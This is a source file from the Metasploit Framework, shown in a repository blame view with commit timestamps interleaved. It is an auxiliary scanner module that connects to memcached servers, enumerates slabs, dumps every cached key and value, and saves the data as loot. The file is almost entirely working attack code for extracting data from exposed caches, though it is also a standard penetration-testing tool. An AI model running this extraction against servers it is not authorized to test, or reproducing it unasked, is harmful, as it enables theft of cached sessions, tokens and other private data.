metasploit-framework/modules/auxiliary/gather/memcached_extractor.rb

154 lines
3.9 KiB
Ruby
Raw Normal View History

2015-01-13 00:40:06 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Auxiliary
2015-01-13 00:40:06 +00:00
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
2015-01-13 00:40:06 +00:00
include Msf::Auxiliary::Report
def initialize(info = {})
2015-01-20 16:47:47 +00:00
super(update_info(
info,
2015-01-13 00:40:06 +00:00
'Name' => 'Memcached Extractor',
'Description' => %q(
This module extracts the slabs from a memcached instance. It then
finds the keys and values stored in those slabs.
),
'Author' => [ 'Paul Deardorff <paul_deardorff[at]rapid7.com>' ],
2015-01-20 16:34:08 +00:00
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://github.com/memcached/memcached/blob/master/doc/protocol.txt']
]
2015-01-13 00:40:06 +00:00
))
register_options(
[
2015-01-20 16:28:49 +00:00
Opt::RPORT(11211)
], self.class
)
register_advanced_options(
[
OptInt.new('MAXKEYS', [true, 'Maximum number of keys to be pulled from each slab', 100]),
OptInt.new('PRINTKEYS', [true, 'Number of keys shown in preview table for each instance', 10])
2015-01-20 16:28:49 +00:00
], self.class
)
2015-01-13 00:40:06 +00:00
end
def max_keys
datastore['MAXKEYS'].to_i
end
def print_keys
datastore['PRINTKEYS'].to_i
end
def localhost?(ip)
%w(localhost 127.0.0.1).include?(ip)
end
2015-01-13 00:40:06 +00:00
# Returns array of keys for all slabs
def enumerate_keys
keys = []
enumerate_slab_ids.each do |sid|
loop do
sock.send("stats cachedump #{sid} #{max_keys}\r\n", 0)
data = sock.recv(4096)
break if !data || data.length == 0
matches = /^ITEM (?<key>.*) \[/.match(data)
keys << matches[:key] if matches
break if data =~ /^END/
end
2015-01-13 00:40:06 +00:00
end
keys
end
# Returns array of slab ids as strings
def enumerate_slab_ids
sock.send("stats slabs\r\n", 0)
slab_ids = []
loop do
data = sock.recv(4096)
break if !data || data.length == 0
matches = data.scan(/^STAT (?<slab_id>(\d)*):/)
slab_ids << matches
break if data =~ /^END/
end
slab_ids.flatten!
slab_ids.uniq! || []
2015-01-13 00:40:06 +00:00
end
def data_for_keys(keys = [])
all_data = {}
keys.each do |key|
sock.send("get #{key}\r\n", 0)
data = []
loop do
data_part = sock.recv(4096)
break if !data_part || data_part.length == 0
data << data_part
break if data_part =~ /^END/
end
all_data[key] = data.join
2015-01-13 00:40:06 +00:00
end
all_data
2015-01-13 00:40:06 +00:00
end
def determine_version
sock.send("version\r\n", 0)
2015-01-13 00:40:06 +00:00
stats = sock.recv(4096)
if /^VERSION (?<version>[\d\.]+)/ =~ stats
2015-01-20 16:09:35 +00:00
version
else
nil
end
2015-01-13 00:40:06 +00:00
end
def run_host(ip)
2015-01-20 16:00:02 +00:00
peer = "#{ip}:#{rport}"
2016-02-01 22:06:34 +00:00
vprint_status("Connecting to memcached server...")
begin
connect
2015-01-20 16:47:47 +00:00
if (version = determine_version)
2016-02-01 22:06:34 +00:00
vprint_good("Connected to memcached version #{version}")
unless localhost?(ip)
report_service(
host: ip,
name: 'memcached',
port: rport,
proto: 'tcp',
info: version
)
end
2015-01-20 16:09:35 +00:00
else
2016-02-01 22:06:34 +00:00
print_error("unable to determine memcached protocol version")
2015-01-20 16:09:35 +00:00
return
end
2015-01-13 00:40:06 +00:00
keys = enumerate_keys
2016-02-01 22:06:34 +00:00
print_good("Found #{keys.size} keys")
return if keys.size == 0
2015-01-13 00:40:06 +00:00
data = data_for_keys(keys)
result_table = Rex::Text::Table.new(
'Header' => "Keys/Values Found for #{peer}",
'Indent' => 1,
'Columns' => [ 'Key', 'Value' ]
)
data.take(print_keys).each { |key, value| result_table << [key, value.inspect] }
print_line
print_line("#{result_table}")
unless localhost?(ip)
2015-01-20 16:00:02 +00:00
path = store_loot('memcached.dump', 'text/plain', ip, data, 'memcached.txt', 'Memcached extractor')
2016-02-01 22:06:34 +00:00
print_good("memcached loot stored at #{path}")
end
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout
2016-02-01 22:06:34 +00:00
vprint_error("Could not connect to memcached server!")
2015-01-13 00:40:06 +00:00
end
end
end